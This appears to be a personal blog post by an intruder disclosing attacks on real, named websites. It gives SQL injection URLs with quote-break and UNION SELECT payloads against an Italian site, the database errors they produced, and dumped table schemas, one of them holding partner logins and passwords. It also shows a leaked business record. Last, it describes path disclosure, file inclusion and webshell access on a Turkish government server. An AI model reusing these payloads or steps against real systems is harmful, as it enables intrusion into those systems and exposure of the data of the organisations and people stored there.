pro(re)gress

Since the website has been closed (I'm sorry for that). Some (old) informations. ***Remember that I've never abused of any website or modified anything or used confidential data.*** http://www.antiproibizionisti.it/ricerca.asp?page=1&trova=(%20Advid%20)';%20trunca Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][Driver ODBC Microsoft Access] Errore di sintassi (operatore mancante) nell'espressione della query /inc_ricerca.htm, line 12 -------------- http://antiproibizionisti.it/archivio_sdf.asp?f=1'0 http://antiproibizionisti.it/display_gessa.asp?f=3629&u='9 http://antiproibizionisti.it/archivio_gessa.asp?f='9 http://antiproibizionisti.it/display.asp?f=4177&u=10 http://antiproibizionisti.it/archivio_sdf.asp?f=10%20union%20select%20sum(nome),1,2,3,6,4,4,5%20from%20user http://antiproibizionisti.it/archivio_sdf.asp?f=10%20UNION%20SELECT%20id,%20name,%20'','','',...

Too much data to dump. Anyway I've deleted everything (here ... ). --- samples --- company_address (   company_id bigint(3) NOT NULL auto_increment,   company_name varchar(200) NOT NULL default '',   address longtext,   street_id bigint(3) default NULL,   city_id bigint(3) default NULL,   state_id bigint(3) default NULL,   zip varchar(20) default NULL,   phone varchar(20) NOT NULL default '0',   fax varchar(20) default NULL,   email varchar(100) default NULL,   category char(1) NOT NULL default '',   PRIMARY KEY  (company_id) INSERT INTO company_address VALUES("1", "M & A Hispanic Book Store", "1902 Bergenline Ave", "0", "16284", "30", "07087", "(201) 866-0010", "", "", "0"); ------------------------------------------

I've found this data time ago... CREATE TABLE partners (   id int(11) NOT NULL auto_increment,   email varchar(255) NOT NULL default '',   phone varchar(50) default NULL,   fax varchar(50) default NULL,   address varchar(255) default NULL,   zip varchar(20) default NULL,   city varchar(50) default NULL,   state varchar(50) default NULL,   country varchar(50) default NULL,   first_name varchar(100) default NULL,   last_name varchar(100) default NULL,   company_name varchar(100) default NULL,   login varchar(25) NOT NULL default '',   password varchar(25) NOT NULL default '',   additional_data text,   ku_balance float(16,2) unsigned NOT NULL default '0.00',   us_balance float(16,2) unsigned NOT NULL default '0.00',   credit_limit float(10,2) default '0.00',   status enum('unconfirmed','active','suspended','free') default 'unconfirmed',   promo varchar(100) default NULL...

the website is dead so ... I can publish something The main table nurseryinfo (    Title text,    Initial text,    First_Name text,    Surname text,    Contact_Name text,    Position text,    Nursery text,    Address text,    Address1 text,    Town text,    County text,    Postcode text,    Tel_No text,    No_0_2 text,    Range text,    Weekly text,    Tot_Staff text,    Group_No text,    Facility text,    Member_No text,    Branch text,    Region text,    Officer_Br text,    Officer_Re text,    Officer_Ex text,    Year_Joined text,    Eig text,    Contact text,    Task_Group text,    _998 text,    No_of_Nurs text,    So text,  ...

-Data leak- http://kutuphane.tuik.gov.tr/yordambt/liste.php?-skip=0&-atla=0&-sayfa=01&Alan3=&Alan5=&anatur=&bolum=&alttur=&sekil=&ortam=&dil=&yayintarihi=&kgt=&gorsel=&kurumyayini=&cAlanlar=pollo&aa=eseradi&-max=16&universite=&enstitu=&anabilimdali=&bilimdali=&sureliilkharf=&sure=&biryil=&birdergitrh=&birsayi=&biricindekiler= we can see the full path within the errors -> C:\Inetpub\wwwroot\yordambt ex file: _dil.php | index.php | liste.php | _yardim.php | arama.php | anasayfa.php | url.php After getting access through a lfi it's possible to see that we are on a (windows) box with the default configuration, with the permissions for -everybody- in some important folders. It's possible to operate quite like an administrator with a simple -webshell- script There are some shared folders without password on other boxes ------ The scripts available from the web...